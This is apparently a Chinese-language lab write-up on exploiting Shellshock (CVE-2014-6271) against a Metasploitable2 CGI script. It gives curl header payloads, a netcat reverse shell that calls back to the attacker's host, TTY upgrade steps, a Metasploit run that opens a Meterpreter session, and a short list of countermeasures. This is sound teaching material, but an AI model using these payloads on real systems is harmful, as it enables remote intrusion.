A complete, modern demonstration lab for CVE-2014-6271 (Shellshock), including architecture, exploitation steps, Burp Suite usage, reverse shells, countermeasures, and full command cheat-sheet.
Shellshock(CVE-2014-6271)是迄今为止最具影响力的远程代码执行漏洞之一。该漏洞影响 Bash,并允许攻击者仅通过向环境变量注入精心构造的有效载荷来执行任意命令。
本指南提供了一个完整、可重现的演示,使用:
它专为教学、研究、培训和一般网络安全意识而设计。
这个简单的双节点设置反映了许多在工业物联网系统中仍然存在的遗留部署。
在 Metasploitable2 上:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
从 Kali 测试脚本:
curl http://192.168.1.5/cgi-bin/shellshock.sh
你应该会看到环境变量被显示出来。
当 Bash 错误地解析看起来像函数定义的环境变量时,就会发生 Shellshock。
一个恶意变量,例如:
() { :; }; /bin/bash -c "id"
将导致 Bash 执行函数定义之后的命令——即使该函数本身从未被调用。
CGI 应用程序尤其容易受到攻击,因为 HTTP 头会自动作为环境变量传递给脚本。
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
输出应包括:
Vulnerable
uid=33(www-data)
这确认了远程代码执行。
访问:
http://192.168.1.5/cgi-bin/shellshock.sh
将请求发送到 Repeater。
将 User-Agent 头替换为:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
你应该会看到:
BurpTest
uid=33(www-data)
Burp Suite 以直观且具教育意义的方式确认了漏洞。
在 Kali 上启动监听器:
nc -lvnp 4444
通过 CGI 脚本触发反弹 Shell:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Shell 将反向连接到 Kali。
在反弹 Shell 内部:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
挂起会话:
Ctrl + Z
在 Kali 上:
stty raw -echo; fg
按 Enter。
你现在拥有:
┌────────────────────────┐
│ 攻击者 (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. 恶意 HTTP 头 (Shellshock)
│
▼
┌──────────────────────────┐
│ Apache Web 服务器 (CGI) │
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. 头 → CGI 环境变量
│
▼
┌──────────────────────────┐
│ Bash (有漏洞) │
└───────────┬──────────────┘
│
3. 注入的命令执行
│
▼
┌─────────────────────────┐
│ www-data Shell 访问 │
└───────────┬─────────────┘
│
4. 反弹 Shell → Kali
│
▼
┌──────────────────────────┐
│ 完全交互式 TTY │
└──────────────────────────┘
攻击关键阶段的可视化演练。
| 描述 | 图片 |
|---|---|
| Nmap 扫描 + Shellshock 测试输出 |
修补为正确解析函数定义的版本。
遗留的 CGI 引入不必要的系统风险。
丢弃可疑模式,例如:
() { :; };
限制 Web 服务器用户(www-data)的权限。
阻止反弹 Shell 和数据泄露。
现代 WAF 特征可立即检测 Shellshock。
限制 Bash 进程并阻止意外行为。
使用以下工具:
http-shellshock.nse)sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
curl http://192.168.1.5/cgi-bin/shellshock.sh
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
在 Shell 内部:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
挂起:
Ctrl + Z
在 Kali 上:
stty raw -echo; fg
按 Enter。
Metasploit 提供了专业、自动化的方式来利用 Shellshock,使用内置模块:
exploit/multi/http/apache_mod_cgi_bash_env_exec
此方法快速、可靠,并支持自动有效载荷阶段(例如 Meterpreter)。
msfconsole
search shellshock
你应该会看到(以及其他):
exploit/multi/http/apache_mod_cgi_bash_env_exec Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env Apache mod_cgi Bash Environment Variable Injection (Scanner)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
设置目标 IP:
set rhosts 192.168.1.5
设置易受攻击的 CGI 路径:
set targeturi /cgi-bin/shellshock.sh
设置你的 Kali IP:
set lhost 192.168.1.4
可选地设置监听端口:
set lport 4444
验证:
options
你应该会看到:
RHOSTS 192.168.1.5
TARGETURI /cgi-bin/shellshock.sh
LHOST 192.168.1.4
LPORT 4444
METHOD GET
HEADER User-Agent
CVE CVE-2014-6271
run
成功后:
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...
sessions -i 1
你现在拥有:
meterpreter >
shell
然后:
id
hostname
预期:
uid=33(www-data) gid=33(www-data)
metasploitable
你已通过 Metasploit 和 Shellshock 获得了远程命令执行。
本演示展示了如何通过简单的 HTTP 头操纵、反弹 Shell、CGI 脚本执行和 Metasploit 自动化来利用 Shellshock。尽管已过去十多年,Shellshock 仍然是以下方面的重要教训:
倾注大量心血制作:
阿曼的海瑟姆 ❤️🇴🇲
| 组件 | 角色 | 操作系统 | IP 地址 | 关键服务 |
|---|
| Kali Linux | 攻击者 | Kali Linux(最新版) | 192.168.1.4 | curl、Burp Suite、Netcat |
| Metasploitable2 | 目标易受攻击服务器 | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2、CGI 脚本、Bash |
| Apache mod_cgi | 脚本执行 | 运行于 MSF2 | n/a | 通过 CGI 暴露 Bash |
| shellshock.sh | 易受攻击的入口点 | Bash CGI | n/a | 显示环境变量 |
![]() |
| Burp Suite – 初始 Shellshock 请求 | ![]() |
| Burp Suite – 有效载荷/头注入 | ![]() |
| Kali 上收到的反弹 Shell (nc) | ![]() |